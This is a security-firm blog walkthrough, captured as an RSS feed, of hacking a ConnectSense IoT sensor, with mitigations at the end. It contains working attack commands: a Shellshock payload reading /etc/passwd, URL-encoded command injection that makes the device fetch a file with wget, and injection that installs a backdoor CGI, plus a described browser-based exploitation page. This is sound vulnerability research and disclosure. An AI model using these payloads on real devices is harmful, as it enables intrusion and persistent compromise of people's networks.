freeflysecurity.com Open in urlscan Pro
23.83.135.74  Public Scan

URL: https://freeflysecurity.com/tag/iot/feed/
Submission Tags: @ecarlesi possiblethreat phishing Search All
Submission: On May 12 via api from IT — Scanned from IT

Form analysis 0 forms found in the DOM

Text Content

<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>iot &#8211; Freefly Security</title>
	<atom:link href="https://freeflysecurity.com/tag/iot/feed/" rel="self" type="application/rss+xml" />
	<link>https://freeflysecurity.com</link>
	<description>Software &#124; Security &#124; Consulting</description>
	<lastBuildDate>Tue, 01 Nov 2016 21:23:09 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.6.13</generator>

<image>
	<url>https://freeflysecurity.com/wp-content/uploads/2015/11/cropped-ico-32x32.png</url>
	<title>iot &#8211; Freefly Security</title>
	<link>https://freeflysecurity.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Hacking the Internet of Things (IoT): Grid Connect ConnectSense Sensors</title>
		<link>https://freeflysecurity.com/hacking-the-internet-of-things-iot-grid-connect-connectsense-sensors/</link>
		
		<dc:creator><![CDATA[Brian Soby]]></dc:creator>
		<pubDate>Tue, 01 Nov 2016 20:55:21 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[appsec]]></category>
		<category><![CDATA[internet_of_things]]></category>
		<category><![CDATA[iot]]></category>
		<category><![CDATA[product_security]]></category>
		<category><![CDATA[software_security]]></category>
		<guid isPermaLink="false">https://freeflysecurity.com/?p=313</guid>

					<description><![CDATA[Connecting just about every household and industrial device to WiFi and the Internet is all the rage these days. As technology platforms, these devices range from minimal and purpose build embedded systems to full fledged Linux systems in a small form factor. Unsurprisingly, there&#8217;s no shortage of reports of glaring security holes from haphazardly designed systems and<a href="https://freeflysecurity.com/hacking-the-internet-of-things-iot-grid-connect-connectsense-sensors/">[...]</a>]]></description>
										<content:encoded><![CDATA[<p>Connecting just about every household and industrial device to WiFi and the Internet is all the rage these days. As technology platforms, these devices range from minimal and purpose build embedded systems to full fledged Linux systems in a small form factor. Unsurprisingly, there&#8217;s <a href="http://www.contextis.com/resources/blog/push-hack-reverse-engineering-ip-camera/">no</a> <a href="http://www.contextis.com/resources/blog/hacking-internet-connected-light-bulbs/">shortage</a> of <a href="http://mjg59.dreamwidth.org/43486.html">reports</a> of <a href="http://arstechnica.com/security/2016/09/botnet-of-145k-cameras-reportedly-deliver-internets-biggest-ddos-ever/">glaring security holes</a> from haphazardly designed systems and the Internet of Things is quickly gaining a reputation as a <a href="https://www.inverse.com/article/22591-internet-of-things-ddos-attack">security minefield</a>.</p>
<p>Today we&#8217;ll jump into the mix and continue our product security series with a walkthrough of hacking the Grid Connect ConnectSense Wireless Sensor. We&#8217;ll keep it simple, lest we qualify ourselves for BlackHat&#8217;s <a href="http://pwnies.com/nominations/">new award</a> for needlessly complicated hacks against badly designed IoT devices. Our goal will be to leverage the device to remotely establish a persistent presence on whatever network it&#8217;s connected to, either via direct network connection or leveraging an intermediary like a user&#8217;s browser with network connectivity to the device.</p>
<p>You can get this sensor on <a href="https://www.amazon.com/dp/B00ISKS8F8/ref=cm_sw_su_dp">Amazon for about $150</a>, which makes it a bit more expensive than your typical IoT lightbulb or sensor. Each sensor separately connects to a local WiFi network and reports to the management system.</p>
<p><img loading="lazy" class="alignnone size-full wp-image-317" src="https://freeflysecurity.com/wp-content/uploads/2016/06/connectsense.jpg" alt="connectsense" width="522" height="270" srcset="https://freeflysecurity.com/wp-content/uploads/2016/06/connectsense.jpg 522w, https://freeflysecurity.com/wp-content/uploads/2016/06/connectsense-300x155.jpg 300w" sizes="(max-width: 522px) 100vw, 522px" /></p>
<p>&nbsp;</p>
<p>Multiple sensors are intended to be cloud-managed without a subscription and the cloud management interface is simple but clean. Rules can be create to email, text, or phone alerts under various circumstances.</p>
<p><img loading="lazy" class="alignnone size-full wp-image-316" src="https://freeflysecurity.com/wp-content/uploads/2016/06/Screen-Shot-2016-06-23-at-3.46.21-PM.png" alt="Screen Shot 2016-06-23 at 3.46.21 PM" width="2018" height="832" srcset="https://freeflysecurity.com/wp-content/uploads/2016/06/Screen-Shot-2016-06-23-at-3.46.21-PM.png 2018w, https://freeflysecurity.com/wp-content/uploads/2016/06/Screen-Shot-2016-06-23-at-3.46.21-PM-300x124.png 300w, https://freeflysecurity.com/wp-content/uploads/2016/06/Screen-Shot-2016-06-23-at-3.46.21-PM-768x317.png 768w, https://freeflysecurity.com/wp-content/uploads/2016/06/Screen-Shot-2016-06-23-at-3.46.21-PM-1024x422.png 1024w" sizes="(max-width: 2018px) 100vw, 2018px" /></p>
<p>There are two ways to set it up, via direct USB connection or by pushing a button on the device that puts it into access point mode with an open network you can join. Connecting via USB recognizes the device as a new USB network interface with an attached network. The sensor itself runs a DHCP server and the local interface should be automatically configured.</p>
<pre class="brush: bash; title: ; notranslate">
$ sudo dmesg
...
Ethernet [AppleUSBCDCECMData]: Link up on en7, 10-Megabit, Full-duplex, No flow-control, Port 1, Debug [0000,0000,0000,0000,0000,0000]

$ ifconfig
...
en7: flags=8863&amp;amp;amp;amp;lt;UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST&amp;amp;amp;amp;gt; mtu 1500
ether ca:45:0a:fb:77:09 
inet6 fe80::b840:aff:fefb:2009%en7 prefixlen 64 scopeid 0x9 
inet 192.168.111.100 netmask 0xffffff00 broadcast 192.168.111.255
nd6 options=1&amp;amp;amp;amp;lt;PERFORMNUD&amp;amp;amp;amp;gt;
media: autoselect (10baseT/UTP &amp;amp;amp;amp;lt;full-duplex&amp;amp;amp;amp;gt;)
status: active
</pre>
<p>With either the USB or WiFi approach, the instructions first send you to <code>https://connectsense.com</code> where you register for an account and select <code>Add Device</code>. Picking the USB or Wifi setup options attempt to load an image from the well-known device URLs <code>http://192.168.111.1/images/logo.png</code> or <code>http://192.168.110.1/images/logo.png</code>, respectively. If the image successfully loads, the <code>connectsense.com</code> setup page assumes the device is connected and attempts to redirect you to <code>http://192.168.111.1/cgi-bin/cgi-usb?[account_token]</code> or <code>http://192.168.110.1/cgi-bin/cgi-ra?[account_token]</code> for a web-based configuration of the local device to pass it your <code>connectsense.com</code> account token and to set up your WiFi network parameters.</p>
<p><img loading="lazy" class="alignnone size-full wp-image-324" src="https://freeflysecurity.com/wp-content/uploads/2016/06/Screen-Shot-2016-06-24-at-2.10.13-PM.png" alt="Screen Shot 2016-06-24 at 2.10.13 PM" width="1822" height="736" srcset="https://freeflysecurity.com/wp-content/uploads/2016/06/Screen-Shot-2016-06-24-at-2.10.13-PM.png 1822w, https://freeflysecurity.com/wp-content/uploads/2016/06/Screen-Shot-2016-06-24-at-2.10.13-PM-300x121.png 300w, https://freeflysecurity.com/wp-content/uploads/2016/06/Screen-Shot-2016-06-24-at-2.10.13-PM-768x310.png 768w, https://freeflysecurity.com/wp-content/uploads/2016/06/Screen-Shot-2016-06-24-at-2.10.13-PM-1024x414.png 1024w" sizes="(max-width: 1822px) 100vw, 1822px" /></p>
<p>The <code>/cgi-bin/</code> in the path is a huge flag that there&#8217;s a custom script or executable running that&#8217;s going to be our primary target so far. We&#8217;ll come back to that after we do a quick network scan to see what the device is running.  We first set up the WiFi interface so we get a realistic idea of what the device is running when connected to the network (vs the AP mode only accessible by pushing a button on the device). Nmap against the connected WiFi interface:</p>
<pre class="brush: bash; title: ; notranslate">
$ nmap -p 1-65535 192.168.1.239

Starting Nmap 6.46 ( http://nmap.org ) at 2016-06-24 14:04 PDT
Nmap scan report for 192.168.1.239
Host is up (0.13s latency).
Not shown: 98 closed ports
PORT     STATE SERVICE
80/tcp   open  http
8080/tcp open  http-proxy
</pre>
<p>OK, so we know that the device always runs the unauthenticated setup page, even after being configured to join the local WiFi network. Now let&#8217;s try the USB network interface:</p>
<pre class="brush: bash; title: ; notranslate">
$ nmap -p 1-65535 192.168.111.1

Starting Nmap 6.46 ( http://nmap.org ) at 2016-06-24 13:57 PDT
Nmap scan report for 192.168.111.1
Host is up (0.061s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
23/tcp   open  telnet
80/tcp   open  http
8080/tcp open  http-proxy

$ telnet 192.168.111.1
Trying 192.168.111.1...
Connected to 192.168.111.1.
Escape character is '^]'.

# cat /proc/version
Linux version 2.6.36 (cristian@cristian-Dell-System-XPS-L702X) (gcc version 4.5.2 (Sourcery G++ Lite 2011.03-46) ) #2741 Wed Jan 7 15:39:31 CST 2015
# ps
  PID USER       VSZ STAT COMMAND
    ....
   58 0          364 S    udhcpd -f /etc/udhcpd.conf.usb0 
   60 0          156 S    boa 
    ....
   67 0          368 S    telnetd -l /bin/sh -b 192.168.111.1 
    ....
</pre>
<p>Interesting. There&#8217;s an unauthenticated telnet daemon running on port 23 of the USB interface IP and it looks like this is a general Linux 2.6.36 system. Our goal is to control this system remotely so telnet on this interface is unlikely to help us. Let&#8217;s go back to our web interface and revisit the CGI script.</p>
<pre class="brush: bash; title: ; notranslate">
$ curl -v http://192.168.1.239
...
* Connected to 192.168.1.239 (192.168.1.239) port 80 (#0)
&gt; GET / HTTP/1.1
&gt; User-Agent: curl/7.30.0
&gt; Host: 192.168.1.239
&gt; Accept: */*
&gt; 
* HTTP 1.0, assume close after body
&lt; HTTP/1.0 403 Forbidden
&lt; Date: Thu, 01 Jan 1970 00:37:39 GMT
&lt; Server: Boa/0.93.15
&lt; Connection: close
&lt; Content-Type: text/html
&lt; 
&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;403 Forbidden&lt;/TITLE&gt;&lt;/HEAD&gt;
&lt;BODY&gt;

&lt;H1&gt;403 Forbidden&lt;/H1&gt;

Your client does not have permission to get URL / from this server.
&lt;/BODY&gt;&lt;/HTML&gt;
* Closing connection 0
</pre>
<p>It lists Boa 0.93.15 as the web server and a quick search shows a 2007 authentication bypass via the Intersil extensions, which probably doesn&#8217;t apply here, and a directory traversal from 2000 via simple URL encoding. The last one looks pretty simple so we&#8217;ll try that:</p>
<pre class="brush: bash; title: ; notranslate">
$ curl -v 'http://192.168.1.239/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts'
...
&gt; GET http://192.168.1.239/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts HTTP/1.1
&gt; User-Agent: curl/7.30.0
&gt; Host: 192.168.1.239
&gt; Accept: */*
&gt; Proxy-Connection: Keep-Alive
&gt; 
* HTTP 1.0, assume close after body
&lt; HTTP/1.0 404 Not Found
&lt; Date: Thu, 01 Jan 1970 00:50:04 GMT
&lt; Server: Boa/0.93.15
&lt; Connection: close
&lt; Content-Type: text/html
&lt; 
&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;404 Not Found&lt;/TITLE&gt;&lt;/HEAD&gt;
&lt;BODY&gt;

&lt;H1&gt;404 Not Found&lt;/H1&gt;


The requested URL /etc/hosts was not found on this server.
&lt;/BODY&gt;&lt;/HTML&gt;
</pre>
<p>This is a bit strange since that directory traversal is about as easy as you can get. It does echo the path as it understands it so let&#8217;s try a slightly modified version to enumerate behaviors a bit:</p>
<pre class="brush: bash; title: ; notranslate">
$ curl -v 'http://192.168.1.239/%2e%2e/BLAH/%2e%2e/etc/hosts'
...
&gt; GET /%2e%2e/BLAH/%2e%2e/etc/hosts HTTP/1.1
&gt; User-Agent: curl/7.30.0
&gt; Host: 192.168.1.239
&gt; Accept: */*
&gt; 
* HTTP 1.0, assume close after body
&lt; HTTP/1.0 404 Not Found
&lt; Date: Thu, 01 Jan 1970 00:51:42 GMT
&lt; Server: Boa/0.93.15
&lt; Connection: close
&lt; Content-Type: text/html
&lt; 
&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;404 Not Found&lt;/TITLE&gt;&lt;/HEAD&gt;
&lt;BODY&gt;

&lt;H1&gt;404 Not Found&lt;/H1&gt;


The requested URL /BLAH/etc/hosts was not found on this server.
&lt;/BODY&gt;&lt;/HTML&gt;
* Closing connection 0
</pre>
<p>It stripped instances of &#8220;/%2e%2e/&#8221;, which is consistent with the <a href="https://github.com/timmattison/boa/blob/master/src/request.c#L804:L812">fix for this issue in Boa 0.94</a> so it looks like we have a backported patch or fake server header. Let&#8217;s next try Shellshock since we&#8217;re dealing with a CGI. We may or may not have bash on the system at all so Shellshock may not apply (checking via telnet shows that it uses busybox and /bin/sh or /bin/ash so this is only here for completeness).</p>
<pre class="brush: bash; title: ; notranslate">
$ curl -A '() { :;};echo &quot;Content-type: text/plain&quot;; echo; echo; /bin/cat /etc/passwd' --referer '() { :;};echo &quot;Content-type: text/plain&quot;; echo; echo; /bin/cat /etc/passwd' -H 'Cookie: () { :;};echo &quot;Content-type: text/plain&quot;; echo; echo; /bin/cat /etc/passwd' &quot;http://192.168.1.239/cgi-bin/cgi-ra?8A0A6677918497F9893A354539FD9361&quot;
&lt;!DOCTYPE html&gt;
&lt;html lang='en-US'&gt;
...
&lt;/html&gt;
</pre>
<p>Unfortunately, no /etc/password contents in the output. Looking at the original URL, <code>http://192.168.1.239/cgi-bin/cgi-ra?8A0A6677918497F9893A354539FD9361</code>, you can see that the URL parameter format is a bit strange and it&#8217;s not in the normal key=value format. Let&#8217;s play with that a bit and see if we can cause any usual behaviors</p>
<pre class="brush: bash; title: ; notranslate">
# Add some random characters - returns 200 but no output. It looks like it may validate length == 32
$ curl 'http://192.168.1.239/cgi-bin/cgi-ra?8A0A6677918497F9893A354539FD9361blah'

# Remove a character and add a single quote (%27) - back to normal output.
$ curl 'http://192.168.1.239/cgi-bin/cgi-ra?8A0A6677918497F9893A354539FD936%27'
&lt;!DOCTYPE html&gt;
&lt;html lang='en-US'&gt;
...normal output....
&lt;/html&gt;

# Remove more characters and try command injection (';/bin/sh -c &quot;sleep 30&quot;;)
$ curl 'http://192.168.1.239/cgi-bin/cgi-ra?8A0A6677%27%3b%2f%62%69%6e%2f%73%68%20%2d%63%20%22%73%6c%65%65%70%20%33%30%22%3b'

....hang
</pre>
<p>Re-running this command with a ping running against the system shows that it appears to die and reboot after about 20 seconds. This is obviously a strong indicator of command injection but it could also be a straight forward crash. Let&#8217;s re-run with a command where we can definitively tell if it executed.</p>
<pre class="brush: bash; title: ; notranslate">
# ';/bin/sh -c &quot;wget https://freeflysecurity.com/static/test1&quot;; 
# Note that the length limitation doesn't appear to apply here either
$ curl 'http://192.168.1.239/cgi-bin/cgi-ra?8A0A66779%27%3b%2f%62%69%6e%2f%73%68%20%2d%63%20%22%77%67%65%74%20%68%74%74%70%3a%2f%2f%66%72%65%65%66%6c%79%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%73%74%61%74%69%63%2f%74%65%73%74%31%22%3b'

==&gt; access_static.log &lt;==
1.2.3.4 - - [27/Jun/2016:22:10:49 +0000] &quot;GET /static/test1 HTTP/1.1&quot; 404 210 &quot;-&quot; &quot;Wget&quot;
</pre>
<p>Success! Now that we have definitely identified command injection, we&#8217;ll use it to create our own CGI that executes our code. I&#8217;ll skip the details of developing this but here&#8217;s our innocuous version that replaces the <code>/cgi-bin/setup</code> binary that <code>/cgi-bin/cgi-ra</code> symlinks to:</p>
<pre class="brush: bash; title: ; notranslate">
# It's sensitive to # and ! so we had to massage it a bit
# a'; /bin/sh -c 'echo `echo \\#\!/bin/sh` &gt; /home/httpd/setup; echo &quot;echo -e Status: 200 OK\\\\nAccess-Control-Allow-Origin: *\\\\n\\\\nHello&quot; &gt;&gt; /home/httpd/setup';
$ curl 'http://192.168.1.239/cgi-bin/cgi-ra?%61%27%3b%20%2f%62%69%6e%2f%73%68%20%2d%63%20%27%65%63%68%6f%20%60%65%63%68%6f%20%5c%5c%23%5c%21%2f%62%69%6e%2f%73%68%60%20%3e%20%2f%68%6f%6d%65%2f%68%74%74%70%64%2f%73%65%74%75%70%3b%20%65%63%68%6f%20%22%65%63%68%6f%20%2d%65%20%53%74%61%74%75%73%3a%20%32%30%30%20%4f%4b%5c%5c%5c%5c%6e%41%63%63%65%73%73%2d%43%6f%6e%74%72%6f%6c%2d%41%6c%6c%6f%77%2d%4f%72%69%67%69%6e%3a%20%2a%5c%5c%5c%5c%6e%5c%5c%5c%5c%6e%48%65%6c%6c%6f%22%20%3e%3e%20%2f%68%6f%6d%65%2f%68%74%74%70%64%2f%73%65%74%75%70%27%3b'

echo Hello

</pre>
<p>At this point, if we had network connectivity to any ConnectSense device, we could remotely install our backdoor CGI. We could obviously do additional things like pull WiFi passwords from the config but I&#8217;m generally not going to drive to someone&#8217;s house or a business to use a WiFi password. Our next major goal is to address the scenario where we don&#8217;t have direct connectivity but we want to leverage an intermediary to remotely install our backdoor. For this, we&#8217;ll create a malicious web page that scans local networks and exploits any identified ConnectSense devices. This would obviously require social engineering, MITM traffic or shared networks, or other techniques to get these intermediaries to visit this page.</p>
<p>To identify local networks, we&#8217;re going to <a href="https://github.com/diafygi/webrtc-ips">leverage WebRTC</a> to remotely identify the user&#8217;s connected networks. For the purposes of this writeup, we&#8217;ll ignore anything that&#8217;s not a 192.168.1.x network (since that my local network right now). We walk the IPs in the network and attempt to load an image from <code>/images/bg_content.png</code>, the most unique (but still not very unique) image served by the ConnectSense device. After identifying a system that will serve the image, we attempt to load another image using the above CGI-creating script. The output of that script isn&#8217;t a valid image so our payload verification routine leverages the lenient Cross Origin Resource Sharing (CORS) header echoed by our script and attempts a cross domain XHR. If we can successfully read the request response and our expected CGI output is returned, we know our payload was successful.</p>
<p>You can see a <a href="http://jsfiddle.net/Ls2vth3w/">demo here</a>.</p>
<h2>Mitigations</h2>
<p>This command injection vulnerability doesn&#8217;t appear to exist on stock versions of Boa 0.94.14rc1 and 0.93.15. Interestingly, the behavior around automatically decoding the query string when being accessed by a CGI script is different. It appears that Grid Connect added a shell-based decoding for the query string to a custom version of Boa that was deployed with ConnectSense devices. Running <code>strings</code> against the <code>boa</code> binary shows a number of ConnectSense-specific strings that, combined with the apparent backporting of the directory traversal patch, make this theory more plausible.</p>
<p>As a user, there&#8217;s obviously not a lot that can be done to mitigate vulnerable IoT devices that require Internet connectivity. I&#8217;d recommend putting them on a restricted network with ingress and egress based filtering from all non-critical devices. Of course, that&#8217;s not an easy option for most home users.</p>
<p>As a vendor, there are a couple of things that could have mitigated this, all in line with good product security practices:</p>
<ul>
<li>Don&#8217;t deploy unauthenticated management interfaces. For passwords, using a device-specific number printed on the device is always a good idea.</li>
<li>Standard software and application security still applies to IoT devices. In this case, shelling out for input processing is a high risk behavior for any application.</li>
</ul>
<p>&nbsp;</p>
<h2>Questions?</h2>
<p><strong>Creating or using IoT devices and you&#8217;re concerned about their security? <a href="mailto:support@freeflysecurity.com">Get in touch</a>. </strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>